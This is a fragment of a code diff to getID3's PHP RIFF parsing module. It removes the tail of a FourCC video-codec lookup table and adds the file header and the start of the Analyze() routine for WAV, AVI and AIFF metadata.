AuraVision Aura 1 Codec - YUV 4:1:1 - AVDJ Independent JPEG Group\'s codec (AVDJ) - AVRN Independent JPEG Group\'s codec (AVRN) - AYUV 4:4:4 YUV (AYUV) - AZPR Quicktime Apple Video (AZPR) - BGR Raw RGB32 - BLZ0 Blizzard DivX MPEG-4 - BTVC Conexant Composite Video - BINK RAD Game Tools Bink Video - BT20 Conexant Prosumer Video - BTCV Conexant Composite Video Codec - BW10 Data Translation Broadway MPEG Capture - CC12 Intel YUV12 - CDVC Canopus DV - CFCC Digital Processing Systems DPS Perception - CGDI Microsoft Office 97 Camcorder Video - CHAM Winnov Caviara Champagne - CJPG Creative WebCam JPEG - CLJR Cirrus Logic YUV 4:1:1 - CMYK Common Data Format in Printing (Colorgraph) - CPLA Weitek 4:2:0 YUV Planar - CRAM Microsoft Video 1 (CRAM) - cvid Radius Cinepak - CVID Radius Cinepak - CWLT Microsoft Color WLT DIB - CYUV Creative Labs YUV - CYUY ATI YUV - D261 H.261 - D263 H.263 - DIB Device Independent Bitmap - DIV1 FFmpeg OpenDivX - DIV2 Microsoft MPEG-4 v1/v2 - DIV3 DivX ;-) MPEG-4 v3.x Low-Motion - DIV4 DivX ;-) MPEG-4 v3.x Fast-Motion - DIV5 DivX MPEG-4 v5.x - DIV6 DivX ;-) (MS MPEG-4 v3.x) - DIVX DivX MPEG-4 v4 (OpenDivX / Project Mayo) - divx DivX MPEG-4 - DMB1 Matrox Rainbow Runner hardware MJPEG - DMB2 Paradigm MJPEG - DSVD ?DSVD? - DUCK Duck TrueMotion 1.0 - DPS0 DPS/Leitch Reality Motion JPEG - DPSC DPS/Leitch PAR Motion JPEG - DV25 Matrox DVCPRO codec - DV50 Matrox DVCPRO50 codec - DVC IEC 61834 and SMPTE 314M (DVC/DV Video) - DVCP IEC 61834 and SMPTE 314M (DVC/DV Video) - DVHD IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps - DVMA Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com) - DVSL IEC Standard DV compressed in SD (SDL) - DVAN ?DVAN? - DVE2 InSoft DVE-2 Videoconferencing - dvsd IEC 61834 and SMPTE 314M DVC/DV Video - DVSD IEC 61834 and SMPTE 314M DVC/DV Video - DVX1 Lucent DVX1000SP Video Decoder - DVX2 Lucent DVX2000S Video Decoder - DVX3 Lucent DVX3000S Video Decoder - DX50 DivX v5 - DXT1 Microsoft DirectX Compressed Texture (DXT1) - DXT2 Microsoft DirectX Compressed Texture (DXT2) - DXT3 Microsoft DirectX Compressed Texture (DXT3) - DXT4 Microsoft DirectX Compressed Texture (DXT4) - DXT5 Microsoft DirectX Compressed Texture (DXT5) - DXTC Microsoft DirectX Compressed Texture (DXTC) - DXTn Microsoft DirectX Compressed Texture (DXTn) - EM2V Etymonix MPEG-2 I-frame (www.etymonix.com) - EKQ0 Elsa ?EKQ0? - ELK0 Elsa ?ELK0? - ESCP Eidos Escape - ETV1 eTreppid Video ETV1 - ETV2 eTreppid Video ETV2 - ETVC eTreppid Video ETVC - FLIC Autodesk FLI/FLC Animation - FLV1 Sorenson Spark - FLV4 On2 TrueMotion VP6 - FRWT Darim Vision Forward Motion JPEG (www.darvision.com) - FRWU Darim Vision Forward Uncompressed (www.darvision.com) - FLJP D-Vision Field Encoded Motion JPEG - FPS1 FRAPS v1 - FRWA SoftLab-Nsk Forward Motion JPEG w/ alpha channel - FRWD SoftLab-Nsk Forward Motion JPEG - FVF1 Iterated Systems Fractal Video Frame - GLZW Motion LZW (gabest@freemail.hu) - GPEG Motion JPEG (gabest@freemail.hu) - GWLT Microsoft Greyscale WLT DIB - H260 Intel ITU H.260 Videoconferencing - H261 Intel ITU H.261 Videoconferencing - H262 Intel ITU H.262 Videoconferencing - H263 Intel ITU H.263 Videoconferencing - H264 Intel ITU H.264 Videoconferencing - H265 Intel ITU H.265 Videoconferencing - H266 Intel ITU H.266 Videoconferencing - H267 Intel ITU H.267 Videoconferencing - H268 Intel ITU H.268 Videoconferencing - H269 Intel ITU H.269 Videoconferencing - HFYU Huffman Lossless Codec - HMCR Rendition Motion Compensation Format (HMCR) - HMRR Rendition Motion Compensation Format (HMRR) - I263 FFmpeg I263 decoder - IF09 Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane") - IUYV Interlaced version of UYVY (www.leadtools.com) - IY41 Interlaced version of Y41P (www.leadtools.com) - IYU1 12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard - IYU2 24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard - IYUV Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes) - i263 Intel ITU H.263 Videoconferencing (i263) - I420 Intel Indeo 4 - IAN Intel Indeo 4 (RDX) - ICLB InSoft CellB Videoconferencing - IGOR Power DVD - IJPG Intergraph JPEG - ILVC Intel Layered Video - ILVR ITU-T H.263+ - IPDV I-O Data Device Giga AVI DV Codec - IR21 Intel Indeo 2.1 - IRAW Intel YUV Uncompressed - IV30 Intel Indeo 3.0 - IV31 Intel Indeo 3.1 - IV32 Ligos Indeo 3.2 - IV33 Ligos Indeo 3.3 - IV34 Ligos Indeo 3.4 - IV35 Ligos Indeo 3.5 - IV36 Ligos Indeo 3.6 - IV37 Ligos Indeo 3.7 - IV38 Ligos Indeo 3.8 - IV39 Ligos Indeo 3.9 - IV40 Ligos Indeo Interactive 4.0 - IV41 Ligos Indeo Interactive 4.1 - IV42 Ligos Indeo Interactive 4.2 - IV43 Ligos Indeo Interactive 4.3 - IV44 Ligos Indeo Interactive 4.4 - IV45 Ligos Indeo Interactive 4.5 - IV46 Ligos Indeo Interactive 4.6 - IV47 Ligos Indeo Interactive 4.7 - IV48 Ligos Indeo Interactive 4.8 - IV49 Ligos Indeo Interactive 4.9 - IV50 Ligos Indeo Interactive 5.0 - JBYR Kensington ?JBYR? - JPEG Still Image JPEG DIB - JPGL Pegasus Lossless Motion JPEG - KMVC Team17 Software Karl Morton\'s Video Codec - LSVM Vianet Lighting Strike Vmail (Streaming) (www.vianet.com) - LEAD LEAD Video Codec - Ljpg LEAD MJPEG Codec - MDVD Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de) - MJPA Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com) - MJPB Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com) - MMES Matrox MPEG-2 I-frame - MP2v Microsoft S-Mpeg 4 version 1 (MP2v) - MP42 Microsoft S-Mpeg 4 version 2 (MP42) - MP43 Microsoft S-Mpeg 4 version 3 (MP43) - MP4S Microsoft S-Mpeg 4 version 3 (MP4S) - MP4V FFmpeg MPEG-4 - MPG1 FFmpeg MPEG 1/2 - MPG2 FFmpeg MPEG 1/2 - MPG3 FFmpeg DivX ;-) (MS MPEG-4 v3) - MPG4 Microsoft MPEG-4 - MPGI Sigma Designs MPEG - MPNG PNG images decoder - MSS1 Microsoft Windows Screen Video - MSZH LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) - M261 Microsoft H.261 - M263 Microsoft H.263 - M4S2 Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2) - m4s2 Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2) - MC12 ATI Motion Compensation Format (MC12) - MCAM ATI Motion Compensation Format (MCAM) - MJ2C Morgan Multimedia Motion JPEG2000 - mJPG IBM Motion JPEG w/ Huffman Tables - MJPG Microsoft Motion JPEG DIB - MP42 Microsoft MPEG-4 (low-motion) - MP43 Microsoft MPEG-4 (fast-motion) - MP4S Microsoft MPEG-4 (MP4S) - mp4s Microsoft MPEG-4 (mp4s) - MPEG Chromatic Research MPEG-1 Video I-Frame - MPG4 Microsoft MPEG-4 Video High Speed Compressor - MPGI Sigma Designs MPEG - MRCA FAST Multimedia Martin Regen Codec - MRLE Microsoft Run Length Encoding - MSVC Microsoft Video 1 - MTX1 Matrox ?MTX1? - MTX2 Matrox ?MTX2? - MTX3 Matrox ?MTX3? - MTX4 Matrox ?MTX4? - MTX5 Matrox ?MTX5? - MTX6 Matrox ?MTX6? - MTX7 Matrox ?MTX7? - MTX8 Matrox ?MTX8? - MTX9 Matrox ?MTX9? - MV12 Motion Pixels Codec (old) - MWV1 Aware Motion Wavelets - nAVI SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm) - NT00 NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com) - NUV1 NuppelVideo - NTN1 Nogatech Video Compression 1 - NVS0 nVidia GeForce Texture (NVS0) - NVS1 nVidia GeForce Texture (NVS1) - NVS2 nVidia GeForce Texture (NVS2) - NVS3 nVidia GeForce Texture (NVS3) - NVS4 nVidia GeForce Texture (NVS4) - NVS5 nVidia GeForce Texture (NVS5) - NVT0 nVidia GeForce Texture (NVT0) - NVT1 nVidia GeForce Texture (NVT1) - NVT2 nVidia GeForce Texture (NVT2) - NVT3 nVidia GeForce Texture (NVT3) - NVT4 nVidia GeForce Texture (NVT4) - NVT5 nVidia GeForce Texture (NVT5) - PIXL MiroXL, Pinnacle PCTV - PDVC I-O Data Device Digital Video Capture DV codec - PGVV Radius Video Vision - PHMO IBM Photomotion - PIM1 MPEG Realtime (Pinnacle Cards) - PIM2 Pegasus Imaging ?PIM2? - PIMJ Pegasus Imaging Lossless JPEG - PVEZ Horizons Technology PowerEZ - PVMM PacketVideo Corporation MPEG-4 - PVW2 Pegasus Imaging Wavelet Compression - Q1.0 Q-Team\'s QPEG 1.0 (www.q-team.de) - Q1.1 Q-Team\'s QPEG 1.1 (www.q-team.de) - QPEG Q-Team QPEG 1.0 - qpeq Q-Team QPEG 1.1 - RGB Raw BGR32 - RGBA Raw RGB w/ Alpha - RMP4 REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com) - ROQV Id RoQ File Video Decoder - RPZA Quicktime Apple Video (RPZA) - RUD0 Rududu video codec (http://rududu.ifrance.com/rududu/) - RV10 RealVideo 1.0 (aka RealVideo 5.0) - RV13 RealVideo 1.0 (RV13) - RV20 RealVideo G2 - RV30 RealVideo 8 - RV40 RealVideo 9 - RGBT Raw RGB w/ Transparency - RLE Microsoft Run Length Encoder - RLE4 Run Length Encoded (4bpp, 16-color) - RLE8 Run Length Encoded (8bpp, 256-color) - RT21 Intel Indeo RealTime Video 2.1 - rv20 RealVideo G2 - rv30 RealVideo 8 - RVX Intel RDX (RVX ) - SMC Apple Graphics (SMC ) - SP54 Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2 - SPIG Radius Spigot - SVQ3 Sorenson Video 3 (Apple Quicktime 5) - s422 Tekram VideoCap C210 YUV 4:2:2 - SDCC Sun Communication Digital Camera Codec - SFMC CrystalNet Surface Fitting Method - SMSC Radius SMSC - SMSD Radius SMSD - smsv WorldConnect Wavelet Video - SPIG Radius Spigot - SPLC Splash Studios ACM Audio Codec (www.splashstudios.net) - SQZ2 Microsoft VXTreme Video Codec V2 - STVA ST Microelectronics CMOS Imager Data (Bayer) - STVB ST Microelectronics CMOS Imager Data (Nudged Bayer) - STVC ST Microelectronics CMOS Imager Data (Bunched) - STVX ST Microelectronics CMOS Imager Data (Extended CODEC Data Format) - STVY ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data) - SV10 Sorenson Video R1 - SVQ1 Sorenson Video - T420 Toshiba YUV 4:2:0 - TM2A Duck TrueMotion Archiver 2.0 (www.duck.com) - TVJP Pinnacle/Truevision Targa 2000 board (TVJP) - TVMJ Pinnacle/Truevision Targa 2000 board (TVMJ) - TY0N Tecomac Low-Bit Rate Codec (www.tecomac.com) - TY2C Trident Decompression Driver - TLMS TeraLogic Motion Intraframe Codec (TLMS) - TLST TeraLogic Motion Intraframe Codec (TLST) - TM20 Duck TrueMotion 2.0 - TM2X Duck TrueMotion 2X - TMIC TeraLogic Motion Intraframe Codec (TMIC) - TMOT Horizons Technology TrueMotion S - tmot Horizons TrueMotion Video Compression - TR20 Duck TrueMotion RealTime 2.0 - TSCC TechSmith Screen Capture Codec - TV10 Tecomac Low-Bit Rate Codec - TY2N Trident ?TY2N? - U263 UB Video H.263/H.263+/H.263++ Decoder - UMP4 UB Video MPEG 4 (www.ubvideo.com) - UYNV Nvidia UYVY packed 4:2:2 - UYVP Evans & Sutherland YCbCr 4:2:2 extended precision - UCOD eMajix.com ClearVideo - ULTI IBM Ultimotion - UYVY UYVY packed 4:2:2 - V261 Lucent VX2000S - VIFP VFAPI Reader Codec (www.yks.ne.jp/~hori/) - VIV1 FFmpeg H263+ decoder - VIV2 Vivo H.263 - VQC2 Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf) - VTLP Alaris VideoGramPiX - VYU9 ATI YUV (VYU9) - VYUY ATI YUV (VYUY) - V261 Lucent VX2000S - V422 Vitec Multimedia 24-bit YUV 4:2:2 Format - V655 Vitec Multimedia 16-bit YUV 4:2:2 Format - VCR1 ATI Video Codec 1 - VCR2 ATI Video Codec 2 - VCR3 ATI VCR 3.0 - VCR4 ATI VCR 4.0 - VCR5 ATI VCR 5.0 - VCR6 ATI VCR 6.0 - VCR7 ATI VCR 7.0 - VCR8 ATI VCR 8.0 - VCR9 ATI VCR 9.0 - VDCT Vitec Multimedia Video Maker Pro DIB - VDOM VDOnet VDOWave - VDOW VDOnet VDOLive (H.263) - VDTZ Darim Vison VideoTizer YUV - VGPX Alaris VideoGramPiX - VIDS Vitec Multimedia YUV 4:2:2 CCIR 601 for V422 - VIVO Vivo H.263 v2.00 - vivo Vivo H.263 - VIXL Miro/Pinnacle Video XL - VLV1 VideoLogic/PURE Digital Videologic Capture - VP30 On2 VP3.0 - VP31 On2 VP3.1 - VP6F On2 TrueMotion VP6 - VX1K Lucent VX1000S Video Codec - VX2K Lucent VX2000S Video Codec - VXSP Lucent VX1000SP Video Codec - WBVC Winbond W9960 - WHAM Microsoft Video 1 (WHAM) - WINX Winnov Software Compression - WJPG AverMedia Winbond JPEG - WMV1 Windows Media Video V7 - WMV2 Windows Media Video V8 - WMV3 Windows Media Video V9 - WNV1 Winnov Hardware Compression - XYZP Extended PAL format XYZ palette (www.riff.org) - x263 Xirlink H.263 - XLV0 NetXL Video Decoder - XMPG Xing MPEG (I-Frame only) - XVID XviD MPEG-4 (www.xvid.org) - XXAN ?XXAN? - YU92 Intel YUV (YU92) - YUNV Nvidia Uncompressed YUV 4:2:2 - YUVP Extended PAL format YUV palette (www.riff.org) - Y211 YUV 2:1:1 Packed - Y411 YUV 4:1:1 Packed - Y41B Weitek YUV 4:1:1 Planar - Y41P Brooktree PC1 YUV 4:1:1 Packed - Y41T Brooktree PC1 YUV 4:1:1 with transparency - Y42B Weitek YUV 4:2:2 Planar - Y42T Brooktree UYUV 4:2:2 with transparency - Y422 ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera - Y800 Simple, single Y plane for monochrome images - Y8 Grayscale video - YC12 Intel YUV 12 codec - YUV8 Winnov Caviar YUV8 - YUV9 Intel YUV9 - YUY2 Uncompressed YUV 4:2:2 - YUYV Canopus YUV - YV12 YVU12 Planar - YVU9 Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes) - YVYU YVYU 4:2:2 Packed - ZLIB Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) - ZPEG Metheus Video Zipper - - */ - - return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc'); - } - - /** - * @param string $byteword - * @param bool $signed - * - * @return int|float|false - */ - private function EitherEndian2Int($byteword, $signed=false) { - if ($this->container == 'riff') { - return getid3_lib::LittleEndian2Int($byteword, $signed); - } - return getid3_lib::BigEndian2Int($byteword, false, $signed); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.riff.php // +// module for analyzing RIFF files // +// multiple formats supported by this module: // +// Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX // +// dependencies: module.audio.mp3.php // +// module.audio.ac3.php // +// module.audio.dts.php // +// /// +///////////////////////////////////////////////////////////////// + +/** +* @todo Parse AC-3/DTS audio inside WAVE correctly +* @todo Rewrite RIFF parser totally +*/ + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true); +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true); + +class getid3_riff extends getid3_handler +{ + protected $container = 'riff'; // default + + /** + * @return bool + * + * @throws getid3_exception + */ + public function Analyze() { + $info = &$this->getid3->info; + + // initialize these values to an empty array, otherwise they default to NULL + // and you can't append array values to a NULL value + $info['riff'] = array('raw'=>array()); + + // Shortcuts + $thisfile_riff = &$info['riff']; + $thisfile_riff_raw = &$thisfile_riff['raw']; + $thisfile_audio = &$info['audio']; + $thisfile_video = &$info['video']; + $thisfile_audio_dataformat = &$thisfile_audio['dataformat']; + $thisfile_riff_audio = &$thisfile_riff['audio']; + $thisfile_riff_video = &$thisfile_riff['video']; + $thisfile_riff_WAVE = array(); + + $Original = array(); + $Original['avdataoffset'] = $info['avdataoffset']; + $Original['avdataend'] = $info['avdataend']; + + $this->fseek($info['avdataoffset']); + $RIFFheader = $this->fread(12); + $offset = $this->ftell(); + $RIFFtype = substr($RIFFheader, 0, 4); + $RIFFsize = substr($RIFFheader, 4, 4); + $RIFFsubtype = substr($RIFFheader, 8, 4); + + switch ($RIFFtype) { + + case 'FORM': // AIFF, AIFC + //$info['fileformat'] = 'aiff'; + $this->container = 'aiff'; + $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); + $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); + break; + + case 'RIFF': // AVI, WAV, etc + case 'SDSS': // SDSS is identical to RIFF, just renamed. Used by SmartSound QuickTracks (www.smartsound.com) + case 'RMP3': // RMP3 is identical to RIFF, just renamed. Used by [unknown program] when creating RIFF-MP3s + //$info['fileformat'] = 'riff'; + $this->container = 'riff'; + $thisfile_riff['header_size'] = $this->EitherEndian2Int($RIFFsize); + if ($RIFFsubtype == 'RMP3') { + // RMP3 is identical to WAVE, just renamed. Used by [unknown program] when creating RIFF-MP3s + $RIFFsubtype = 'WAVE'; + } + if ($RIFFsubtype != 'AMV ') { + // AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size + // Handled separately in ParseRIFFAMV() + $thisfile_riff[$RIFFsubtype] = $this->ParseRIFF($offset, ($offset + $thisfile_riff['header_size'] - 4)); + } + if (($info['avdataend'] - $info['filesize']) == 1) { + // LiteWave appears to incorrectly *not* pad actual output file + // to nearest WORD boundary so may appear to be short by one + // byte, in which case - skip warning + $info['avdataend'] = $info['filesize']; + } + + $nextRIFFoffset = $Original['avdataoffset'] + 8 + $thisfile_riff['header_size']; // 8 = "RIFF" + 32-bit offset + while ($nextRIFFoffset < min($info['filesize'], $info['avdataend'])) { + try { + $this->fseek($nextRIFFoffset); + } catch (getid3_exception $e) { + if ($e->getCode() == 10) { + //$this->warning('RIFF parser: '.$e->getMessage()); + $this->error('AVI extends beyond '.round(PHP_INT_MAX / 1073741824).'GB and PHP filesystem functions cannot read that far, playtime may be wrong'); + $this->warning('[avdataend] value may be incorrect, multiple AVIX chunks may be present'); + break; + } else { + throw $e; + } + } + $nextRIFFheader = $this->fread(12); + if ($nextRIFFoffset == ($info['avdataend'] - 1)) { + if (substr($nextRIFFheader, 0, 1) == "\x00") { + // RIFF padded to WORD boundary, we're actually already at the end + break; + } + } + $nextRIFFheaderID = substr($nextRIFFheader, 0, 4); + $nextRIFFsize = $this->EitherEndian2Int(substr($nextRIFFheader, 4, 4)); + $nextRIFFtype = substr($nextRIFFheader, 8, 4); + $chunkdata = array(); + $chunkdata['offset'] = $nextRIFFoffset + 8; + $chunkdata['size'] = $nextRIFFsize; + $nextRIFFoffset = $chunkdata['offset'] + $chunkdata['size']; + + switch ($nextRIFFheaderID) { + case 'RIFF': + $chunkdata['chunks'] = $this->ParseRIFF($chunkdata['offset'] + 4, $nextRIFFoffset); + if (!isset($thisfile_riff[$nextRIFFtype])) { + $thisfile_riff[$nextRIFFtype] = array(); + } + $thisfile_riff[$nextRIFFtype][] = $chunkdata; + break; + + case 'AMV ': + unset($info['riff']); + $info['amv'] = $this->ParseRIFFAMV($chunkdata['offset'] + 4, $nextRIFFoffset); + break; + + case 'JUNK': + // ignore + $thisfile_riff[$nextRIFFheaderID][] = $chunkdata; + break; + + case 'IDVX': + $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunkdata['size'])); + break; + + default: + if ($info['filesize'] == ($chunkdata['offset'] - 8 + 128)) { + $DIVXTAG = $nextRIFFheader.$this->fread(128 - 12); + if (substr($DIVXTAG, -7) == 'DIVXTAG') { + // DIVXTAG is supposed to be inside an IDVX chunk in a LIST chunk, but some bad encoders just slap it on the end of a file + $this->warning('Found wrongly-structured DIVXTAG at offset '.($this->ftell() - 128).', parsing anyway'); + $info['divxtag']['comments'] = self::ParseDIVXTAG($DIVXTAG); + break 2; + } + } + $this->warning('Expecting "RIFF|JUNK|IDVX" at '.$nextRIFFoffset.', found "'.$nextRIFFheaderID.'" ('.getid3_lib::PrintHexBytes($nextRIFFheaderID).') - skipping rest of file'); + break 2; + + } + + } + if ($RIFFsubtype == 'WAVE') { + $thisfile_riff_WAVE = &$thisfile_riff['WAVE']; + } + break; + + default: + $this->error('Cannot parse RIFF (this is maybe not a RIFF / WAV / AVI file?) - expecting "FORM|RIFF|SDSS|RMP3" found "'.$RIFFsubtype.'" instead'); + //unset($info['fileformat']); + return false; + } + + $streamindex = 0; + switch ($RIFFsubtype) { + + // http://en.wikipedia.org/wiki/Wav + case 'WAVE': + $info['fileformat'] = 'wav'; + + if (empty($thisfile_audio['bitrate_mode'])) { + $thisfile_audio['bitrate_mode'] = 'cbr'; + } + if (empty($thisfile_audio_dataformat)) { + $thisfile_audio_dataformat = 'wav'; + } + + if (isset($thisfile_riff_WAVE['data'][0]['offset'])) { + $info['avdataoffset'] = $thisfile_riff_WAVE['data'][0]['offset'] + 8; + $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff_WAVE['data'][0]['size']; + } + if (isset($thisfile_riff_WAVE['fmt '][0]['data'])) { + + $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($thisfile_riff_WAVE['fmt '][0]['data']); + $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; + if (!isset($thisfile_riff_audio[$streamindex]['bitrate']) || ($thisfile_riff_audio[$streamindex]['bitrate'] == 0)) { + $this->error('Corrupt RIFF file: bitrate_audio == zero'); + return false; + } + $thisfile_riff_raw['fmt '] = $thisfile_riff_audio[$streamindex]['raw']; + unset($thisfile_riff_audio[$streamindex]['raw']); + $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; + + $thisfile_audio = (array) getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); + if (substr($thisfile_audio['codec'], 0, strlen('unknown: 0x')) == 'unknown: 0x') { + $this->warning('Audio codec = '.$thisfile_audio['codec']); + } + $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; + + if (empty($info['playtime_seconds'])) { // may already be set (e.g. DTS-WAV) + $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); + } + + $thisfile_audio['lossless'] = false; + if (isset($thisfile_riff_WAVE['data'][0]['offset']) && isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { + switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { + + case 0x0001: // PCM + $thisfile_audio['lossless'] = true; + break; + + case 0x2000: // AC-3 + $thisfile_audio_dataformat = 'ac3'; + break; + + default: + // do nothing + break; + + } + } + $thisfile_audio['streams'][$streamindex]['wformattag'] = $thisfile_audio['wformattag']; + $thisfile_audio['streams'][$streamindex]['bitrate_mode'] = $thisfile_audio['bitrate_mode']; + $thisfile_audio['streams'][$streamindex]['lossless'] = $thisfile_audio['lossless']; + $thisfile_audio['streams'][$streamindex]['dataformat'] = $thisfile_audio_dataformat; + } + + if (isset($thisfile_riff_WAVE['rgad'][0]['data'])) { + + // shortcuts + $rgadData = &$thisfile_riff_WAVE['rgad'][0]['data']; + $thisfile_riff_raw['rgad'] = array('track'=>array(), 'album'=>array()); + $thisfile_riff_raw_rgad = &$thisfile_riff_raw['rgad']; + $thisfile_riff_raw_rgad_track = &$thisfile_riff_raw_rgad['track']; + $thisfile_riff_raw_rgad_album = &$thisfile_riff_raw_rgad['album']; + + $thisfile_riff_raw_rgad['fPeakAmplitude'] = getid3_lib::LittleEndian2Float(substr($rgadData, 0, 4)); + $thisfile_riff_raw_rgad['nRadioRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 4, 2)); + $thisfile_riff_raw_rgad['nAudiophileRgAdjust'] = $this->EitherEndian2Int(substr($rgadData, 6, 2)); + + $nRadioRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nRadioRgAdjust']), 16, '0', STR_PAD_LEFT); + $nAudiophileRgAdjustBitstring = str_pad(getid3_lib::Dec2Bin($thisfile_riff_raw_rgad['nAudiophileRgAdjust']), 16, '0', STR_PAD_LEFT); + $thisfile_riff_raw_rgad_track['name'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 0, 3)); + $thisfile_riff_raw_rgad_track['originator'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 3, 3)); + $thisfile_riff_raw_rgad_track['signbit'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 6, 1)); + $thisfile_riff_raw_rgad_track['adjustment'] = getid3_lib::Bin2Dec(substr($nRadioRgAdjustBitstring, 7, 9)); + $thisfile_riff_raw_rgad_album['name'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 0, 3)); + $thisfile_riff_raw_rgad_album['originator'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 3, 3)); + $thisfile_riff_raw_rgad_album['signbit'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 6, 1)); + $thisfile_riff_raw_rgad_album['adjustment'] = getid3_lib::Bin2Dec(substr($nAudiophileRgAdjustBitstring, 7, 9)); + + $thisfile_riff['rgad']['peakamplitude'] = $thisfile_riff_raw_rgad['fPeakAmplitude']; + if (($thisfile_riff_raw_rgad_track['name'] != 0) && ($thisfile_riff_raw_rgad_track['originator'] != 0)) { + $thisfile_riff['rgad']['track']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_track['name']); + $thisfile_riff['rgad']['track']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_track['originator']); + $thisfile_riff['rgad']['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_track['adjustment'], $thisfile_riff_raw_rgad_track['signbit']); + } + if (($thisfile_riff_raw_rgad_album['name'] != 0) && ($thisfile_riff_raw_rgad_album['originator'] != 0)) { + $thisfile_riff['rgad']['album']['name'] = getid3_lib::RGADnameLookup($thisfile_riff_raw_rgad_album['name']); + $thisfile_riff['rgad']['album']['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_riff_raw_rgad_album['originator']); + $thisfile_riff['rgad']['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($thisfile_riff_raw_rgad_album['adjustment'], $thisfile_riff_raw_rgad_album['signbit']); + } + } + + if (isset($thisfile_riff_WAVE['fact'][0]['data'])) { + $thisfile_riff_raw['fact']['NumberOfSamples'] = $this->EitherEndian2Int(substr($thisfile_riff_WAVE['fact'][0]['data'], 0, 4)); + + // This should be a good way of calculating exact playtime, + // but some sample files have had incorrect number of samples, + // so cannot use this method + + // if (!empty($thisfile_riff_raw['fmt ']['nSamplesPerSec'])) { + // $info['playtime_seconds'] = (float) $thisfile_riff_raw['fact']['NumberOfSamples'] / $thisfile_riff_raw['fmt ']['nSamplesPerSec']; + // } + } + if (!empty($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'])) { + $thisfile_audio['bitrate'] = getid3_lib::CastAsInt($thisfile_riff_raw['fmt ']['nAvgBytesPerSec'] * 8); + } + + if (isset($thisfile_riff_WAVE['bext'][0]['data'])) { + // shortcut + $thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0]; + + $thisfile_riff_WAVE_bext_0['title'] = substr($thisfile_riff_WAVE_bext_0['data'], 0, 256); + $thisfile_riff_WAVE_bext_0['author'] = substr($thisfile_riff_WAVE_bext_0['data'], 256, 32); + $thisfile_riff_WAVE_bext_0['reference'] = substr($thisfile_riff_WAVE_bext_0['data'], 288, 32); + foreach (array('title','author','reference') as $bext_key) { + // Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets + // assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage + // Keep only string as far as first null byte, discard rest of fixed-width data + // https://github.com/JamesHeinrich/getID3/issues/263 + $null_terminator_offset = strpos($thisfile_riff_WAVE_bext_0[$bext_key], "\x00"); + $thisfile_riff_WAVE_bext_0[$bext_key] = substr($thisfile_riff_WAVE_bext_0[$bext_key], 0, $null_terminator_offset); + } + + 